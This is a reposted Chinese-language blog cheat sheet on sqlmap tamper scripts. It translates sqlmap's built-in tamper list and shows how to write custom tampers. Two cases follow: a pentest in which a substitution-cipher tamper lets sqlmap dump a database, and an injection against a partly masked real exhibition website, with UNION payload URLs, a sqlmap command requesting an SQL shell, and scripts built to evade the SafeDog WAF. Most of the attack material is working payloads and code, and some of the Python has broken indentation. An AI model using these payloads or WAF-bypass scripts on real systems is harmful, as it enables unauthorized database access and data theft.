sqlmap tamper腳本備忘錄與tamper腳本編寫


查看sqlmap全部腳本

$ python sqlmap.py --list-tampers

使用方法

--tamper=TAMPER

2019.9更新后翻譯

* apostrophemask.py-用其UTF-8全角字符替換撇號(')(例如'->%EF%BC%87)
* apostrophenullencode.py-用非法的雙unicode替換撇號(')(例如'->%00%27)
* appendnullbyte.py-在有效載荷的末尾附加(訪問)NULL字節字符(%00)
* base64encode.py-Base64對給定有效載荷中的所有字符進行編碼
* between.py- 替換較大比運算符('>')帶有'NOT BETWEEN 0 AND#',等於運算符('=')與'BETWEEN#AND#'
* bluecoat.py-用有效的隨機空白字符替換SQL語句后的空格字符。然后用運算符LIKE替換字符'='
* chardoubleencode.py-雙重URL編碼給定有效負載中的所有字符(未處理已編碼)(例如SELECT->%2553%2545%254C%2545%2543%2554)
* charencode.py-URL編碼中的所有字符給定的有效載荷(不處理已經編碼的)(例如SELECT->%53%45%4C%45%43%54)
* charunicodeencode.py-Unicode-URL編碼給定的有效載荷中的所有字符(不處理已經編碼的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)
* charunicodeescape.py-Unicode轉義給定有效負載中的未編碼字符(未處理已編碼的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)
* commalesslimit.py-用'LIMIT N OFFSET M'替換(MySQL)實例,例如'LIMIT M,N'
* commalessmid.py-用'MID(A FROM B FOR C)'替換(MySQL)實例,例如'MID(A,B,C)'
* commentbeforeparentheses.py-在括號前加(內聯)注釋(例如((-> / ** /()
* concat2concatws.py-用'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等價物(相當於)替換(MySQL)實例,例如'CONCAT(A,B)' 。
* equaltolike.py- 將所有出現的等於('=')運算符替換為'LIKE'
* escapequotes.py-斜杠轉義單引號和雙引號(例如'-> \')
* great.py- 替換大於運算符('>' )和'GREATEST'對應
* Halfversionedmorekeywords.py-在每個關鍵字
* hex2char.py-替換每個(MySQL)0x等效的CONCAT(CHAR(),...)編碼字符串
* htmlencode.py-HTML編碼(使用代碼點)所有非字母數字字符(例如'->')
* ifnull2casewhenisnull.py-替換'IFNULL( A,B)'與'CASE WHEN ISNULL(A)THEN(B)ELSE(A)END'對應
* ifnull2ifisnull.py-用'IF(ISNULL(A),B)替換'IFNULL(A,B)'之類的實例,A)'對應
* informationschemacomment.py-在所有出現的(MySQL)“ information_schema”標識符的末尾添加一個內聯注釋(/ ** /)
* least.py 用'LEAST'對應替換大於運算符('>')
* lowercase.py-用小寫值替換每個關鍵字字符(例如SELECT->選擇)
* luanginx.py-LUA-Nginx WAF繞過(例如Cloudflare)
* modsecurityversioned.py-包含帶有(MySQL)版本注釋的完整查詢
* modsecurityzeroversioned.py-包含帶有(MySQL)零版本注釋的完整查詢
* multiplespaces.py-在SQL關鍵字周圍添加多個空格('')
* overlongutf8.py-將給定有效載荷中的所有(非字母數字)字符轉換為超長UTF8(未處理已編碼)(例如'->%C0%A7)
* overlongutf8more.py-將給定有效載荷中的所有字符轉換為超長UTF8(尚未處理編碼)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
* percent.py-在每個字符前面添加一個百分號('%') (例如SELECT->%S%E%L%E%C%T)
* plus2concat.py-替換加號運算符('+')與(MsSQL)函數CONCAT()對應
* plus2fnconcat.py-用(MsSQL)ODBC函數{fn CONCAT()}替換加號('+')對應項
* randomcase.py-用隨機大小寫值替換每個關鍵字字符(例如SELECT-> SEleCt)
* randomcomments.py -在SQL關鍵字內添加隨機內聯注釋(例如SELECT-> S / ** / E / ** / LECT)
* sp_password.py-將(MsSQL)函數'sp_password'附加到有效負載的末尾,以便從DBMS日志中自動進行混淆
* space2comment.py-用注釋'/ ** /' 替換空格字符('')
* space2dash.py-用短划線注釋('-')替換空格字符(''),后跟一個隨機字符串和一個新的行('\ n')
* space2hash.py-用井字符('#')替換(MySQL)空格字符('')實例,后跟隨機字符串和換行('\ n')
* space2morecomment.py-替換(MySQL)帶注釋'/ ** _ ** /' 的空格字符('')實例
* space2morehash.py-用井號('#')后面跟一個隨機字符串替換(MySQL)空格字符('')實例和新行('\ n')
* space2mssqlblank.py-用有效的替代字符集中的隨機空白字符替換空間字符('')的(MsSQL)實例
* space2mssqlhash.py-替換空間字符('' )和井號('#'),后接換行('\ n')
* space2mysqlblank.py-用有效替代字符集中的隨機空白字符替換(MySQL)空格字符('')實例
* space2mysqldash.py-用破折號('-')替換空格字符('') )后跟換行('\ n')
* space2plus.py-用加號('+')替換空格字符('')
* space2randomblank.py-用空格中的隨機空白字符替換空格字符('')有效的替代字符集
* substring2leftright.py-用LEFT和RIGHT替換PostgreSQL SUBSTRING
* symbolicologic.py-用其符號對應物(&&和||)替換AND和OR邏輯運算符
* unionalltounion.py-用UNION SELECT對應項替換UNION ALL SELECT的實例
* unmagicquotes.py-用多字節組合%BF%27替換引號字符('),並在末尾添加通用注釋(以使其起作用)
* uppercase.py-用大寫值替換每個關鍵字字符(例如select -> SELECT)
* varnish.py-附加HTTP標頭'X-originating-IP'以繞過Varnish防火牆
* versionedkeywords.py-用(MySQL)版本注釋將每個非功能性關鍵字括起來
* versionedmorekeywords.py-將每個關鍵字包含(MySQL)版本注釋
* xforwardedfor.py-附加偽造的HTTP標頭'X-Forwarded-For'

 

tamper腳本編寫

 拿第一個腳本apostrophemask來說

from lib.core.enums import PRIORITY  

__priority__ = PRIORITY.LOWEST  # 優先級設置

def dependencies():  # 當前腳本適用和不適用的情況,一般pass
    pass

def tamper(payload, **kwargs):  # tamper函數為自定義你的payload
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * http://lukasz.pilorz.net/testy/unicode_conversion/
        * http://sla.ckers.org/forum/read.php?13,11562,11850
        * http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload

 

該腳本將 ’ 全部替換為%EF%BC%87最后返回payload

 return payload.replace('\'', "%EF%BC%87") if payload else payload

具體測試情況可以添加你自己的payload,比如繞過waf,參數測試修改,下面是一些案例

 

 

一些案例

國外案例:

 

在最近的滲透測試中,BURP Suite在目標網站中發現了一些盲目的SQL注入漏洞。將SQLMAP指向該網站表示對我們沒有任何愛,只是說它無法利用該網站。我已經向客戶提到了SQLi問題,他說以前的滲透測試人員說它們無法利用。我們還是決定仔細看看。該網站的網址看起來很奇怪。我不能專門談論有問題的網站,但是URI看起來像這樣:

 

 

HTTP://www.example.tgt/website.php QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr

SQLMAP_Tamper_Script01

 

您會注意到字段名稱(帶紅色下划線的名稱)具有非常奇怪的名稱。起初我以為這些只是怪異的字段名稱。也許開發人員有一些我不理解的字段代號。但是后來我注意到這些值(在BLUE中加下划線)也很奇怪。URL上的任何信息對我來說都沒有任何意義。我抓住了一個同事,我們花了一些時間試圖弄清楚正在使用哪種奇怪的編碼。該Web應用程序具有一些有用的功能,這些功能使翻譯很容易弄清楚。如果我們"AAAAAAAAA"在網站搜索頁面的ACCOUNT NUMBER字段中輸入內容,則會看到它將我們重定向到包含URI的網頁'QnnyBZ4_ZB6qvm=QQQQQQQQQ'當我們搜索其中的ACCOUNT NUMBER時'BBBBBBBBB",我們進入帶有URI的網頁'QnnyBZ4_ZB6qvm=qqqqqqqqq'顯然,URL上使用了某種類型的字符替換密碼。帳號的最大大小為9個字符。但是通過一些查詢,我可以弄清楚整個字符集映射。我搜索了一個ACCOUNT NUMBER,"ABCDEFGHI"發現一個包含的URI 'QnnyBZ4_ZB6qvm=QqnPvka03'我搜索'JKLMNOPQR'並找到了一個包含的URI 'QnnyBZ4_ZB6qvm=wMU6Zybjm'我對每個大寫,小寫和數字字符都重復了此過程,很快我得到了以下字符映射。

普通字母='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

加密字母='QqnPvka03wMU6ZybjmK4BRSEWdVishgClpI1AouFNOJ9zrtL2Yef7Tc8GxDHX5'

Python使在兩組字符之間轉換變得容易。使用Python 3,我們可以執行以下操作:

 

blogimage1

 

這將單詞"HELLO"轉換為"OvUUy"使用指定的字符映射。maketrans的參數"FROM STRING"后面是"TO STRING"朝另一個方向前進只是簡單地反轉傳遞給str.maketrans()的參數並傳遞(encrypted_letter,normal_letters)

 

blogimage2

 

在Python2中,您必須導入字符串模塊,因為maketrans函數存儲在此處。但是除此之外,語法是相同的。

blogimage3

 

現在,我可以解碼網址了!因此,我們嘗試了前面看到的URL。

blog1_NEW

 

真棒。現在這是我能理解的。現在我們可以自由地對攻擊進行編碼和解碼了,我們在手動利用方面取得了更大的成功。但是我很懶!我希望SQLMAP為我自動化攻擊!如果我不告訴SQLMAP如何對它的注入進行編碼,那么它將不適用於該網站。SQLMAP篡改腳本旨在實現這一目的。SQLMAP隨"TAMPER"腳本一起分發,以執行一些任務,例如在注入結束時添加NULL字節或隨機化查詢中字母的大小寫。創建一個自定義篡改腳本來進行字符轉換非常簡單。SQLMAP使用的是Python2,因此我們必須導入字符串模塊。但是,以其他篡改腳本之一為例,我們快速編寫了以下內容:

 

篡改script_new

我們將此新文件保存為“ custom_caesar.py”,並將其放置在SQLMAP的“ tamper”目錄中。然后,將腳本名稱傳遞給-tamper參數。

python sqlmap.py -u“ https://www.example.tgt/webapp.php?QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr ” -tamper = custom_caesar.py -dump

 

然后坐下來觀看SQLMAP的勝利之路。幾行自定義Python代碼將此漏洞從“無法利用的誤報”變為嚴重的漏洞,需要立即引起注意。使用篡改腳本后,我們可以使用SQLMAP訪問數據庫中的所有內容,從而節省了手動開發和編碼的時間。只需將3行自定義Python代碼插入到現有的篡改腳本模板中即可。

 

 

烏雲案例:中國國際廣播電視信息網絡展覽會 主站:

code 區域
http://**.**.**.**bn.tv/



介紹:http://**.**.**.**bn.tv/channels/4.html

漏洞url:

code 區域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p
參數:CustomerName可注入



遇到狗:

code 區域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27) and 1=user--



sql-1.png



繞過:

字段數:

code 區域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/order /*/\*/by/*/\*/71--



然后union

code 區域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71--



sql-2.png



提示類型不匹配。。。

然后全部替換為NULL,報錯

code 區域
輸入字符串的格式不正確



code 區域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--



sql-3.png



字段太多,需要去對應探測,但是有可能是多個NULL,所以直接用SQLMap去跑,需要自定sqlmap腳本

然后就有如下語句:

code 區域
sqlmap.py --batch -u "http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p" -p CustomerName --prefix "%27)/*/\*/" --suffix "--" --tamper "tamper/space2myscript.py" --current-user --dbs --sql-shell



sql-4.png



僅做證明,未深入。。。

========================================================

space2myscript.py腳本:

code 區域
#!/usr/bin/env python
"""
developers (goubuli)

"""
import random
import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):

retVal = ""

if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "/*/\*/"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]

return retVal

 

一些腳本案例:

傾旋的腳本:

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload,**kwargs):
    if payload:
		bypass_SafeDog_str = "/*x^x*/" # 一個干擾字符
		payload=payload.replace("UNION",bypass_SafeDog_str+"UNION"+bypass_SafeDog_str) # 在UNION的左右兩邊添加干擾字符
		payload=payload.replace("SELECT",bypass_SafeDog_str+"SELECT"+bypass_SafeDog_str) # 同上,
		payload=payload.replace("AND",bypass_SafeDog_str+"AND"+bypass_SafeDog_str) # 同上,
		payload=payload.replace("=",bypass_SafeDog_str+"="+bypass_SafeDog_str) # 將空格替換成干擾字符
		payload=payload.replace(" ",bypass_SafeDog_str)
		payload=payload.replace("information_schema.","%20%20/*!%20%20%20%20INFOrMATION_SCHEMa%20%20%20%20*/%20%20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/") # 將information_schema.這個關鍵字替換成URL編碼后的內容
		payload=payload.replace("FROM",bypass_SafeDog_str+"FROM"+bypass_SafeDog_str) # 同樣替換
		#print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ."
		print payload # 輸出Payload 
    return payload # 返回Payload

  

#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload):
    if payload:
              pass
              payload = payload.replace("SLEEP(5)","\"0\" LikE Sleep(5)") # 將SLEEP(5)替換成"0" LIKE Sleep(5),因為Sleep()函數執行后會返回0,0等於0就會返回true
       	      payload = payload.replace("","/*FFFFFFFFFFFFFFFFFFFFFFFFF*/") # 將空格替換
              p = re.compile(r'(\d+)=')
              payload=p.sub(r"'\1'LikE ", payload) #將數字附近的=替換成LikE
    return payload # 返回payload

 

參考:https://payloads.online/archivers/2017-06-08/1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM